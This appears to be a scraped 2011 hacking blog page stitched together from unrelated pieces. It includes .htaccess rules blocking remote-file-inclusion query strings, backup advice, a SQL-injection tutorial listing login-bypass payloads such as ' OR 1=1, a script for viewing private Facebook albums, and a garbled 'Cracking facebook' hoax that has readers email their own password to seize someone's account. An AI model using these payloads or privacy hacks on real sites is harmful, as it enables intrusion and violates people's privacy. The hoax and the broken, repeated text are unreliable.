# SINCE THIS IS A NEW REWRITE RULE, WE MUST TEST AGAIN WHETHER IT CONTAINS http://
RewriteCond %{QUERY_STRING} http(\:|%3A)(/|%2F)(/|%2F) [NC]

# THEN FALL THROUGH TO THE BAN IF IT IS NOT ONE OF THE SITES IN OUR ALLOW LIST.
RewriteCond %{QUERY_STRING} !(http(\:|%3A)(/|%2F)(/|%2F)(www\.)?site1\.com) [NC]
RewriteCond %{QUERY_STRING} !(http(\:|%3A)(/|%2F)(/|%2F)(www\.)?site2\.com) [NC]
#ADD A LINE FOR EACH EXTERNAL SITE YOU WANT TO ALLOW TO APPEAR IN QUERY STRINGS.

RewriteRule .* - [F,L]

Allowing for more than one instance of http:// in your query strings is possible. It requires complex code that we can custom design for you if needed.

Other query string bans:

1) Malicious RFI attempts almost always have a question mark at the end of the query string. Ban any query string that contains a question mark. The first question mark (which marks the beginning of the query string) is not part of the query string, so only question marks after the first one will trigger the ban:

RewriteCond %{QUERY_STRING} (\?|%3F) [NC]
RewriteRule .* - [F,L]

2) Be creative: find other characteristics that are common in the attacks on your site but that are never present in legitimate requests. Be thorough: use every good ban rule you can think of. It is very satisfying to see an attack on your site and know that even though it only needed to trigger one ban rule to fail, there were six others in reserve that it would have triggered.

Ban IP addresses responsible for suspicious activity.
You can block IP addresses (or ranges) in .htaccess or by cPanel > Deny IP. Although such bans can be useful against IP addresses you are 100% certain will never make a legitimate request, they aren't otherwise very practical. Once a botnet starts attacking your site, the requests will come from hundreds of different IPs, and banning them all will be futile. It is much better to ban by the other characteristics of the requests.

See this forum thread for further discussion about using .htaccess to block malicious requests, links to websites with suggested .htaccess code for blocking such requests, and a basic introduction to help understand the Perl regular expressions that are used for pattern matching in .htaccess.

Preparations that will make hack diagnosis and cleanup easier

1) Always have a backup copy of your entire website and its databases

You can use FTP and/or cPanel > Backups. Keep the backup somewhere not on your server, such as on your local PC or a DVD. Even if your webhost does backups, make a separate set for yourself. Do a new backup whenever there is enough new content that you don't want to have to redo the work. Keep more than one "generation" of backups. For example, if you backup monthly, keep separate versions from 1 month ago and from 2 months ago. This guards against backing up your site after it's been infected but before you discovered it. You'll still have (hopefully) a slightly older backup that isn't infected. For the same reason, don't backup too often.

2) Turn on log archiving in cPanel now

Your raw HTTP and FTP logs are an important source of information after an attack, but the logs are normally deleted each day. Enable archiving to allow them to accumulate and preserve the evidence after an attack. Periodically download and review the logs to see what kinds of attacks are being launched against your site. As is so often the case, becoming familiar with what is normal will help you detect when something is not. Accumulated logs can take a lot of disk space, so you might want to delete old ones from the server periodically.

3) Get a complete list of your site files NOW while they are known-good

This article describes how to get a list of all the files in your website. If you do it now, it will be a baseline list of the files you can assume are supposed to be there. If your site gets damaged, the list will help you decide whether a file you don't recognize is new or is just a system file that you never noticed before.

4) Explore your website and become familiar with what is there

Not just your pages, but the whole site, using FTP or File Manager or the complete file list you made. If you get used to what is normal, things that aren't will catch your attention.

5) Use good database connection practices in scripts:

a) Create separate MySQL users for your scripts to use

If you use your cPanel userID and password for database connections in your scripts, then changing your cPanel password will instantly break all your scripts until you recode them to use the new password.

Instead, create one or more new users, completely unrelated to your cPanel login, that your scripts can use for their database connections:

Go to cPanel > MySQL® Databases > Current Users.
In Username: enter the name of the user to create. Although the existing user names might appear as YourUserID_username, don't enter the prefix and underscore. cPanel will do that for you, if needed.
In Password: enter the password to use. Make it a strong one.
Click Create User, read the confirmation screen, and then Go Back to the MySQL Account Maintenance page.
Go to the Add Users To Your Databases section.
In the left dropdown box, select the user you just created.
In the right dropdown box, select the database you want that user to be able to connect to.
Select the Privileges you want that user to have for that database, by checking the appropriate boxes. Select only the privileges the user really needs for performing whatever tasks your scripts will do. Granting only limited privileges is a security precaution.
Click Add User To Database. Your new user now has the specified privileges, for that database only. Add the user to other databases, if needed.

Now update your scripts so they use the connection data for this new user instead of your old cPanel user. However, ...

b) Put your MySQL connection data in a well protected file

If each of your scripts has its own code block for database connection, then if you are hacked and have to change your passwords, you'll have to hunt through all your files to find every code block that needs changing.

Instead, put all your database connection code in one central location such as an include file that is well-protected from web access, and make all your scripts read it from there. There are examples and some discussion about how to do this in the User Contributed Notes at http://us.php.net/mysql_connect. You can protect your include file by putting it in a folder above public_html, or in any folder that is closed to web access by an .htaccess file, or by the other methods mentioned in the php.net Notes.

Unfortunately, none of these protection methods will keep your data safe from someone who has actually gotten into your site, but the new database connection method you have just created will make it easy to change your password (in just one place) if that does happen.

How to Hack Facebook

2011-05-05T07:59:00.000-07:00

A long time back i made a post on How to view private Facebook profile picture but after some time Facebook patched the velnurability and the hack was no longer working.I have just found another hack to view private Facebook profile which i would be sharing in this article.

This hack will add a link above such photos with a link saying “See this Photo in its Album”. Clicking this link will reload the photo, but you’ll be viewing it inside the album that you couldn’t view without this hack.
When you are viewing photos in an album the Greasmonkey script will add an option "Back to the album" This will remove the photo from the page and load a thumbnail gallery of all photos in the album

Requirements:

1.Greasmonkey addon for firefox
2.Facebook profile viewing script

Procedure:

1.First of all download Greasmonkey addon and restart firefox
2.Install the Facebook profile viewing script

3.Click install and restart firefox and you are done.

hacking website easely

2011-05-05T07:56:00.000-07:00

I want to worry you.

I want to show you just one way that hackers can get in to your website and mess it up, using a technique called SQL Injection. And then I'll show you how to fix it. This article touches on some technical topics, but I'll try to keep things as simple as possible. There are a few very short code examples written in PHP and SQL. These are for the techies, but you don't have to fully understand the examples to be able to follow what is going on. Please also note that the examples used are extremely simple, and Real Hackers™ will use many variations on the examples listed.

If your website doesn't use a database, you can relax a bit; this article doesn't apply to your site — although you might find it interesting anyway. If your site does use a database, and has an administrator login who has rights to update the site, or indeed any forms which can be used to submit content to the site — even a comment form — read on.

Warning

This article will show you how you can hack in to vulnerable websites, and to check your own website for one specific vulnerability. It's OK to play around with this on your own site (but be careful!) but do not be tempted to try it out on a site you do not own. If the site is properly managed, an attempt to log in using this or similar methods will be detected and you might find yourself facing charges under the Computer Misuse Act. Penalties under this act are severe, including heavy fines or even imprisonment.

What is SQL Injection?

SQL stands for Structured Query Language, and it is the language used by most website databases. SQL Injection is a technique used by hackers to add their own SQL to your site's SQL to gain access to confidential information or to change or delete the data that keeps your website running. I'm going to talk about just one form of SQL Injection attack that allows a hacker to log in as an administrator - even if he doesn't know the password.

Is your site vulnerable?

If your website has a login form for an administrator to log in, go to your site now, in the username field type the administrator user name.

In the password field, type or paste this:

x' or 'a' = 'a

If the website didn't let you log in using this string you can relax a bit; this article probably doesn't apply to you. However you might like to try this alternative:

x' or 1=1--

Or you could try pasting either or both of the above strings into both the login and password field. Or if you are familiar with SQL you could try a few other variations. A hacker who really wants to get access to your site will try many variations before he gives up.

If you were able to log in using any of these methods then get your web tech to read this article, and to read up all the other methods of SQL Injection. The hackers and "skript kiddies" know all this stuff; your web techs need to know it too.

The technical stuff

If you were able to log in, then the code which generates the SQL for the login looks something like this:

$sql =
"SELECT * FROM users
"WHERE username = '" . $username .
"' AND password = '" . $password . "'";

When you log in normally, let's say using userid admin and password secret, what happens is the admin is put in place of

$username

and secret is put in place of

$password

. The SQL that is generated then looks like this:

SELECT * FROM users WHERE username = 'admin' and PASSWORD = 'secret'

But when you enter

x' or 'a' = 'a

as the password, the SQL which is generated looks like this:

SELECT * FROM users WHERE username = 'admin' and PASSWORD = 'x' or 'a' = 'a'

Notice that the string:

x' or 'a' = 'a

has injected an extra phrase into the WHERE clause:

or 'a' = 'a'

. This means that the WHERE is always true, and so this query will return a row contain the user's details.

If there is only a single user defined in the database, then that user's details will always be returned and the system will allow you to log in. If you have multiple users, then one of those users will be returned at random. If you are lucky, it will be a user without administration rights (although it might be a user who has paid to access the site). Do you feel lucky?

How to defend against this type of attack

Fixing this security hole isn't difficult. There are several ways to do it. If you are using MySQL, for example, the simplest method is to escape the username and password, using the mysql_escape_string() or mysql_real_escape_string() functions, e.g.:

$userid = mysql_real_escape_string($userid);
$password = mysql_real_escape_string($password);
$sql =
"SELECT * FROM users
"WHERE username = '" . $username .
"' AND password = '" . $password . "'";

Now when the SQL is built, it will come out as:

SELECT * FROM users WHERE username = 'admin' and PASSWORD = 'x\' or \'a\' = \'a'

Those backslashes ( \ ) make the database treat the quote as a normal character rather than as a delimiter, so the database no longer interprets the SQL as having an OR in the WHERE clause.

This is just a simplistic example. In practice you will do a bit more than this as there are many variations on this attack. For example, you might structure the SQL differently, fetch the user using the user name only and then check manually that the password matches or make sure you always use bind variables (the best defence against SQL injection and strongly recommended!). And you should always escape all incoming data using the appropriate functions from whatever language your website is written in - not just data that is being used for login.

There's more

This has just been a brief overview. There are many more hacking techniques than SQL Injection; there are many more things that can be done just using SQL Injection. It is possible to directly change data, get access to confidential information, even delete your whole database — irrespective of whether the hacker can actually log in — if your website isn't set up correctly.

If you are hungry for more, this detailed article from SecuriTeam explains other techiques hackers might use, as well as some of the methods hackers use to work out the structure of your database, the userid of the admin user, gain access to your system's configuration, etc.

How They Hack Your Website: Overview of Common Techniques

2011-05-05T07:51:00.000-07:00

How They Hack Your Website: Overview of Common Techniques

We hear the same terms bandied about whenever a popular site gets hacked. You know… SQL Injection, cross site scripting, that kind of thing. But what do these things mean? Is hacking really as inaccessible as many of us imagine — a nefarious, impossibly technical twilight world forever beyond our ken?

Not really.

When you consider that you can go to Google right now and enter a search string which will return you thousands of usernames and passwords to websites, you realize that this dark science is really no mystery at all. You'll react similarly when you see just how simple a concept SQL Injection is, and how it can be automated with simple tools. Read on, to learn the basics of how sites and web content management systems are most often hacked, and what you can do to reduce the risk of it happening to you.

SQL Injection

SQL Injection involves entering SQL code into web forms, eg. login fields, or into the browser address field, to access and manipulate the database behind the site, system or application.

When you enter text in the Username and Password fields of a login screen, the data you input is typically inserted into an SQL command. This command checks the data you've entered against the relevant table in the database. If your input matches table/row data, you're granted access (in the case of a login screen). If not, you're knocked back out.

The Simple SQL Injection Hack

In its simplest form, this is how the SQL Injection works. It's impossible to explain this without reverting to code for just a moment. Don't worry, it will all be over soon.

Suppose we enter the following string in a Username field:

' OR 1=1

The authorization SQL query that is run by the server, the command which must be satisfied to allow access, will be something along the lines of:

SELECT * FROM users WHERE username = ?USRTEXT '
AND password = ?PASSTEXT?

…where USRTEXT and PASSTEXT are what the user enters in the login fields of the web form.

So entering `OR 1=1 — as your username, could result in the following actually being run:

SELECT * FROM users WHERE username = ?' OR 1=1 — 'AND password = '?

Two things you need to know about this:
['] closes the [username] text field.

'' is the SQL convention for Commenting code, and everything after Comment is ignored. So the actual routine now becomes:

SELECT * FROM users WHERE username = '' OR 1=1

1 is always equal to 1, last time I checked. So the authorization routine is now validated, and we are ushered in the front door to wreck havoc.

Let's hope you got the gist of that, and move briskly on.

Brilliant! I'm gonna go hack me a Bank!
Slow down, cowboy. This half-cooked method won't beat the systems they have in place up at Citibank, evidently.

But the process does serve to illustrate just what SQL Injection is all about — injecting code to manipulate a routine via a form, or indeed via the URL. In terms of login bypass via Injection, the hoary old ' OR 1=1 is just one option. If a hacker thinks a site is vulnerable, there are cheat-sheets all over the web for login strings which can gain access to weak systems. Here are a couple more common strings which are used to dupe SQL validation routines:

username field examples:

admin'—
') or ('a'='a
”) or (“a”=”a
hi” or “a”=”a

… and so on.

Backdoor Injection- Modules, Forums, Search etc.
Hacking web forms is by no means limited exclusively to login screens. A humble search form, for instance, is necessarily tied to a database, and can potentially be used to amend database details. Using SQL commands in search forms can potentially do some extremely powerful things, like calling up usernames and passwords, searching the database field set and field names, and amending same. Do people really get hacked through their search forms? You better believe it. And through forums, and anywhere else a user can input text into a field which interacts with the database. If security is low enough, the hacker can probe the database to get names of fields, then use commands like INSERT INTO, UNION, and so forth to get user information, change product prices, change account settings/balances, and just about anything else… depending on the security measures in place, database architecture and so on.

So you can have security locked down at the login, but poor security on other forms can still be exploited. Unfortunately this is a real worry regarding 3rd party modules for Web CMS products which incorporate forms, and for CMS products these 3rd party modules are often the weakest links which allows hackers access to your database.

Automated Injection
There are tools to automate the process of SQL Injection into login and other fields. One hacker process, using a specific tool, will be to seek out a number of weak targets using Google (searching for login.asp, for instance), then insert a range of possible injection strings (like those listed above, culled from innumerable Injection cheat-sheets on the Web), add a list of proxies to cover his movements, and go play XBox while the program automates the whole injection process.

Remote Injection
This involves uploading malicious files to inject SQL and exploit other vulnerabilities. It's a topic which was deemed beyond the scope of this report, but you can view this PDF if you'd like to learn more.

SQL Injection in the Browser Address Bar
Injections can also be performed via the browser address bar. I don't mean to have a pop at Microsoft, but when it comes to such vulnerabilities, HTTP GET requests with URLs of the following form are most often held to be vulnerable:

http://somesite.com/index.asp?id=10

Try adding an SQL command to the end of a URL string like this, just for kicks:
http://somesite.com/index.asp?id=10 AND id=11

See if both articles come up. Don't shoot your webmaster just yet if it's your own site and you get two articles popping up: this is real low-level access to the database. But some such sites will be vulnerable. Try adding some other simple SQL commands to the end of URLs from your own site, to see what happens.

what Facebook is

2011-05-05T07:48:00.000-07:00

Facebook (stylized facebook) is a social networking service and website launched in February 2004, operated and privately owned by Facebook, Inc. As of January 2011^[update], Facebook has more than 600 million active users.^[ Users may create a personal profile, add other users as friends, and exchange messages, including automatic notifications when they update their profile. Additionally, users may join common interest user groups, organized by workplace, school or college, or other characteristics. The name of the service stems from the colloquial name for the book given to students at the start of the academic year by university administrations in the United States to help students get to know each other better. Facebook allows anyone who declares themselves to be at least 13 years old to become a registered user of the website.
Facebook was founded by Mark Zuckerberg with his college roommates and fellow computer science students Eduardo Saverin, Dustin Moskovitz and Chris Hughes. The website's membership was initially limited by the founders to Harvard students, but was expanded to other colleges in the Boston area, the Ivy League, and Stanford University. It gradually added support for students at various other universities before opening to high school students, and, finally, to anyone aged 13 and over.
A January 2009 Compete.com study ranked Facebook as the most used social networking service by worldwide monthly active users, followed by MySpace. Entertainment Weekly included the site on its end-of-the-decade "best-of" list, saying, "How on earth did we stalk our exes, remember our co-workers' birthdays, bug our friends, and play a rousing game of Scrabulous before Facebook?" Quantcast estimates Facebook has 135.1 million monthly unique U.S. visitors in October 2010. According to Social Media Today, in April 2010 an estimated 41.6% of the U.S. population had a Facebook account.

Cracking facebook

2011-04-13T10:01:00.000-07:00

A little experience I do to try new ways to break into facebook accounts with the easiest way to break into facebook 2011 without using the software, but simply use notepad to break into the facebook people by requesting to replace the admin password on facebook, is arguably even the newest and easiest way facebook breaking 2011 and was 99% successful.
As usual .. This article will be very interesting to read, so prepare before snack and a cup of hot tea .. please continue reading
In this facebook hack we will send an email to admin@facebook.com with email format like this.
Dear admin
My account has been use by another person,
please replace with my new password: • • • • • • • • • • • •
Old Email: target@domain.com
Or send the password to my new account: your_email@domain.com
This method always works. But it must wait a minute, the reason may be that asking too much, but I have no admin link facebook Indonesia, the longest 24 hours we have been able to get what we want .. what's his email address,, mmm I will love to know in the middle of the article, so read this article all of them ..

I love to know how the following step by step
First type the following text first
A little experience I do to try new ways to break into facebook accounts with the easiest way to break into facebook 2011 without using the software, but simply use notepad to break into the facebook people by requesting to replace the admin password on facebook, is arguably even the newest and easiest way facebook breaking 2011 and was 99% successful.
As usual .. This article will be very interesting to read, so prepare before snack and a cup of hot tea .. please continue reading
In this facebook hack we will send an email to admin@facebook.com with email format like this.
Dear admin
My account has been use by another person,
please replace with my new password: • • • • • • • • • • • •
Old Email: target@domain.com
Or send the password to my new account: emai_anda@domain.com
This method always works. But it must wait a minute, the reason may be that asking too much, but I have no admin link facebook Indonesia, the longest 24 hours we have been able to get what we want .. what's his email address,, mmm I will love to know in the middle of the article, so read this article all of them ..

If you are lazy to write it, you can download here
Now open hackerfacebook.txt
Well for the new in the IT field would ya dizzy reading. haven't confused us straight to the point aja.
Writing in red must be changed
Now press ctrl + h later will appear like this picture.

I love to know how the following step by step
First type the following text first

This function is to replace the data we need.
Now we replace the first email that we want to target hackers. Search writing old_email
Write in the Find What field: old_email
Write in columns the Replace with: emailtarget@domain.com
Then click replace ..
If out images like this

it means the flash to write under that in the search text. Move down to the very top ..
The next step, do the same for new_email .. nah is new email address login to your facebook, the goal is the reward of the admin will be addressed to your address (will check your FB inbox.) So new_email replace with your email address
Write to the column find what: new_email
Write to replace the column with: youremail@domain.com
The next one is the demand for replacement of passwords used by your current target with your facebook login password. Here there must be similarities between that you change your password now. (Write down passwords from my experience, do not even get into our original FB)
Ctrl + h again,
Find what write in the column: protect_me
Replace write in the column: password_your
The last action is now writing a script that has been sending us fox earlier. Do I press ctrl + a, then Ctrl + C
facebook then you login as usual.
and select send email.
to: admin@facebook.com
Subject: replace my password
it press Ctrl + V
then send .. tunngu deh a reply from the admin, you should be able to wait patiently for hours, many days, even weeks and weeks. but surely in the send.
klo I still like to send to dewisitimauludi but forgot his email address search aja deh yg select the second. he has several accounts, the first full so now rarely responds, you certainly would not expect, he is the admin for Indonesia .. also send the same format ..

I suggest you not try to break into the accounts of people, because you could be the first account in the collapse by the people. Remember Use as needed.

My Name Is

2010-11-19T20:15:00.000-08:00

My Name Is : MUKHLISIN, S.Kom.
Lamongan Januari 13th 1983

Teacher of SMK DARMA Plus Payaman Solokuro
YPP. DARUL MA'ARIF PAYAMAN

Lamongan

	Link to latest version information	Security advisories at Secunia.com
	CKEditor / FCKeditor	Security Advisories
	Coppermine Photo Gallery	Security Advisories
	CubeCart	Security Advisories
	Drupal	Security Advisories
	Joomla (all versions)	Security Advisories - Joomla itself Wider search to also find components Joomla Vulnerable Extensions List (VEL)
	Mambo	Security Advisories
	Noah's Classifieds	Security Advisories
	Nucleus CMS	Security Advisories
	osCommerce	Security Advisories Just keeping up to date has not always been enough to keep osCommerce secure. The osCommerce forum has additional security advice for Version 2.x and Version 3.x
	phpBB	Security Advisories
	SMF (Simple Machines Forum)	Security Advisories
	TinyMCE	Security Advisories
	vBulletin	Security Advisories
	WordPress	Security Advisories "WordPress" Security Advisories for WordPress 2.x Security Advisories for WordPress MU 1.x Or find WordPress on this page
	Xoops	Security Advisories
	Zen Cart	Security Advisories